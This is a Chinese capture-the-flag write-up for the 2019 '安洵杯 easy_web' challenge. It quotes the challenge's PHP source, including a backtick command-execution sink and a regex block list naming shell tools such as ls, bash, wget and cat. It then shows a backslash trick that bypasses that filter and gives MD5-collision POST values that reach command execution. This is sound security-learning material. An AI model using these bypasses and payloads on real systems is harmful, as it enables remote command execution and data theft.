[安洵杯 2019]easy_web
[安洵杯 2019]easy_web
打开题目,直接泪目
先抓包查看一下源码
这里源码内容比较长,里面使用了一个base64编码的格式来传输图片,然后细细观察get提交的参数,发现有两个参数,一个是img,可能代表文件对象,另一个cmd可能是拿来执行命令的。
这里的img参数应该是经过处理的,send到decoder模块尝试解码,经过两次base64解码后得到一串数
对于这串数,老实说我不是很敏感,我一开始并没想到它会是16进制,真的只能说明是接触的太少了。
经过这一系列的解码后发现,得到了一个字符串555.pnf0
pnf0是什么格式?
继续排错后发现,是base64解码时出错了,这个brupsuite进行base64解码时,不会主动补齐位数,导致数据产生偏差,某在线解码平台得到的结果就可以解出正确的文件名,虽然这一步对于解出这题的影响不是很大,但也算是踩了一个brupsuite的坑了。
最终解得的文件名为555.png
结合它返回的数据包,可以猜到,他是将555.png经过base64编码后发送到前端进行的处理,所以我们要根据他对文件名的编码过程逆推出其他文件编码后的名字,并最终获得该文件的base64编码结果。
将该参数传过去,得到了index.php的base64编码
解码后得到源码:
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
//解码得出真实文件名
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
//将文件名中的一些特殊符号替换为空
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
//不能直接读flag文件
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixiï½ no flag");
} else {
//将文件base64编码后传到前端
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
//禁用的函数或特殊符号列表
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
//md5强碰撞
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
//反引号,可以执行该命令
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
通过源码解读,可以发现file参数的作用应该就是用来读这个源码的,下面应该用不到他了,现在主要就是传cmd参数和post的a和b。
首先是cmd参数的过滤问题,他过滤了我所知道的所有能查看文件的命令,所以这个地方能绕过就更好了,实际上这的确是可以绕过的。
能绕过的关键就出在反斜杠上,上测试结果就知道了。
PHP本地测试代码:
<?
$cmd = $_GET['cmd'];
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
echo $cmd;
}
?>
传参的内容及结果:
?cmd=ls
forbid ~
?cmd=l\s
l\s
?cmd=\
\
可以发现,他对反引号的检测无效,而在Linux中,反引号对一些命令也几乎没有影响,测试如下:
这样,前面的反引号可以绕过检测,后面反引号还不影响命令的正常执行,那这不就等于过滤了个寂寞嘛。
过了preg_match的检测,最后一步就是过md5的强碰撞了,也就是本题的核心。
之前做的md5的题也用了md5的强碰撞(准确来讲应该叫强比较),当时是用传数组的方法通过检测的,而现在不可以这样做了,因为他多了一步强转的操作,这步操作就会使数组失效,所以得找工具或者找别人提供的可以进行md5强碰撞的内容来测试了。
这里找到两种版本,用谁都一样(仔细观察可以发现他两是一样的)
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
测试结果:
命令随便执行了,直接读flag